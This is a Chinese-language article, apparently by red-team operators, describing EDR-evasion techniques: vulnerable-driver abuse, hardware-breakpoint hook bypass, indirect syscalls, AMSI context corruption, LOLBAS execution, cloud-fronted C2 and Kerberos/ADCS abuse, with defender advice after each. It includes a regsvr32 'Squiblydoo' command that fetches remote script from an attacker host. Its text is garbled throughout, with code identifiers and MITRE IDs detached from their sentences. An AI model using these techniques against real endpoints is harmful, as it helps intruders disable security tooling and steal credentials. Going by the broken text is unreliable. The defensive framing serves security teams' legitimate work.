绕过EDR:实际有效的方法
每个EDR厂商演示都会在某个2019年的钴蓝版PowerShell脚本周围显示一个红圈。与此同时,你们组织刚刚付费的红队参与项目完全没有使用这些,干净利落地绕过了EDR,最终以域名管理员结束。发生了什么变化?
两点。首先,EDR趋同于类似的检测态势——内核回调、在一小部分DLL中设置用户模式钩子、对云后端的遥测、偶尔的内存扫描。其次,攻击者知道这一点。2019年的技术(解钩、直接系统调用、睡眠混淆)现在已成为基本原则;有趣的工作已经深入了。ntdll
这是运营商列出的2026年实际对生产EDR有效的措施,以及——对于正在阅读的辩护方——应添加哪些内容来弥补每个差距。
基线:几乎所有EDR都在做的事情
在有趣的技术出现之前,共享的检测结果是:
内核回调 — , , , , 。这些程序在进程创建、处理操作、注册表访问、线程创建时触发。
PsSetCreateProcessNotifyRoutineObRegisterCallbacksCmRegisterCallbackPsSetCreateThreadNotifyRoutine用户模式钩子——在(有时还有 , , )中的内联钩子,在允许真实系统调用通过前将调用重定向到EDR的遥测信道。
ntdll.dllkernel32advapi32crypt32ETW提供商——Microsoft的Windows事件追踪,特别是提供者和。
Microsoft-Windows-Threat-IntelligenceMicrosoft-Antimalware-Scan-InterfaceAMSI — 反恶意软件扫描接口,用于脚本引擎(PowerShell、JScript、VBScript、WMI)的进程扫描。
内存扫描——周期性或触发扫描进程内存,寻找已知的不良签名。
行为/机器学习后端——用于评分进程树和网络模式的云管道。
几乎所有主流EDR都有这六种。差异主要体现在覆盖完整性和云内相关性上。以下技术针对这种收敛。
有效的方法
1. 内核模式 BYOVD(带入你自己的脆弱驱动)
这仍然是2026年对抗EDR信号最高的技术。工作流程:
加载一个签名但脆弱的司机(“靠地生活司机”项目——对他们进行了目录编目)。
LOLDrivers驱动单元运行在环0,位于EDR用户模式钩子上方。
从环0开始,移除EDR的内核回调(条目),解开驱动的IRP处理程序,或直接终止EDR进程。
PsSetCreateProcessNotifyRoutineEx
Microsoft的驱动阻挡列表自2022年起发布,现已在Windows 11 24H2中默认启用,但该列表存在延迟。新的易受攻击司机出现的速度比区块还快。在我们自己的战斗中,LOLDrivers依然能干净利落地对抗多个EDR。
MITRE地图:(削弱防御系统)附有签署的司机虐待行为细节。T1562.001
防守者需要:启用 Microsoft 易受攻击驱动黑名单,监控新内核驱动加载(Sysmon 事件 6),并强制执行超出“已签名”的驱动程序签名策略。
2. 用户模式挂钩绕过的硬件断点
老方法:通过从磁盘读取新副本并重写挂钩函数来解钩。大声 — EDR检测到内存写入区域并对页面进行页面保护。ntdllntdll
2025+的做法:不要解钩。在EDR的内联钩子上设置硬件断点,当断点到达时,使用调试寄存器跳过钩子,跳转到真正的系统调用存根。EDR的内存页从未被修改。来自进程外部调用包裹API的用户不受影响。根据EDR的遥测,你的过程调用的是完全不同的东西。
公共引用实现大约是—— 。该技术足够稳定,现在已进入操作员培训课程。TamperingSyscallsHWSyscalls
MITRE地图:链条和家族规避。T1055.001T1027
防守者需要:通过ETW寻找具有异常DR0-DR3寄存器状态的进程,特别是符号地址上的。Falcon风格的行为检测通过不寻常的API调用序列捕捉到部分此类情况。ntdll
3. 带有返回地址伪造的间接系统调用
直接系统调用(来自随机模块的指令)通过返回地址检查检测——EDR检查呼叫者的返回地址是否在 。间接系统调用通过查找系统调用存根,然后跳转到 的 段内执行指令。这能击败天真的堆栈行走检定。syscallntdllsyscallntdll.text
回信地址伪造更进一步:重写堆栈,使呼叫看起来像是来自合法位置。结合间接系统调用,这会击败当前基于栈的检测技术。
MITRE地图:变体。T1055
防守者需要:内核端遥测数据,在系统调用时捕获系统调用号和实际的CS:RIP,而非用户模式堆栈检查。一些EDR开始加入这个功能;大多数人都不是。
4. 通过上下文旁通实现AMSI补丁
静态AMSI补丁(例如NOP)被简单检测——字节模式被签名。现代绕过针对AMSI上下文结构本身:AmsiScanBuffer
// Find the AmsiContext, corrupt the Session field
// so AmsiScanBuffer returns clean without patching bytes
在众所周知的补丁偏移量处,字节从未改变。行为会改变。没有内存完整性警报。
Sean Metcalf 和其他研究人员一直保持着 AMSI 绕过的讨论;2026 版本基于上下文操作,并融入了正常的 PowerShell 进程行为。
MITRE地图:(针对AMSI特定)。T1562.001
防守者需要:将PowerShell限制为受限语言模式。明确记录AMSI故障(在某些设置中记录为事件1116-1119;请查看你的)。完全禁用PowerShell v2。
5. LOLBAS + 签名二进制代理执行
不新鲜。还在工作。带有执行路径的Microsoft签名二进制文件攻击者可以劫持:
MSBuild.exe从XML执行任意内联任务InstallUtil.exe运行任意管理装配regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll(经典的“Squiblydoo”)mshta.exe运行远程HTA文件rundll32其中 ,对于 -style 行为-sta.htacscript/wscript用于JScript/VBScript。
由Microsoft签署。默认列入白名单。执行攻击者代码。绕过的意思是“进程由 Microsoft 签署”不是安全属性。
MITRE地图:变体。T1218
防守者需要:AppLocker 或 WDAC(Windows Defender 应用控制)需要合适的允许列表——而不仅仅是“Microsoft 签名”。屏蔽或严格监控那些在你环境中没有合法用途的LOLBAS二进制文件。
6. 云优先有效载荷交付
EDR在端点的工作是特征和行为检测。交付端的EDR规避已经进入云端。图案:
负载部署在Slack、Discord、Notion、SharePoint或合法CDN(Cloudflare、GitHub Pages)上——绝不会随机VPS。
C2流量通过同一个通道隧道。现代的C2框架(Sliver、Havoc、Nighthawk)有使用CDN基础设施并融入普通HTTPS的域前台替代方案。
信标抖动和睡眠混淆,时间看起来像定期的协作应用投票。
EDR看到的是出厂HTTPS。其他一切都在TLS之后。没有TLS检查的出口DLP几乎抓不到任何东西。slack.exe
MITRE 地图:(网络协议),(非对称密码学)。T1071.001T1573.002
防守者需要:在可能的情况下进行撤离TLS检查;按进程进行出口网络基线(应有明确定义的目的地集);DNS日志和查询模式分析。slack.exe
7. 现代代币滥用与Kerberos的手法
一旦登录,凭证访问变得更安静了:
S4U2self+S4U2proxy针对RBCD易受影响对象的链()。msDS-AllowedToActOnBehalfOfOtherIdentity通过LSASS相关的API操作Kerberos工单(不是——那会让每个EDR都亮起来)。
sekurlsa::logonpasswordsntdsutil是从具有DCSync等效权限的域控制器中获得的,而不是 Mimikatz。证书服务滥用(认证二手车技术)——安静、强大,仍然未被发现。
MITRE 地图:(Kerberos)、(Kerberoasting)、(证书滥用)。T1550.003T1558.003T1552.004
防守者需要:受限委派审计、RBCD监控、ADCS攻击路径感知、DPAPI密钥监控、MDI(Microsoft Defender for Identity)或等效技术。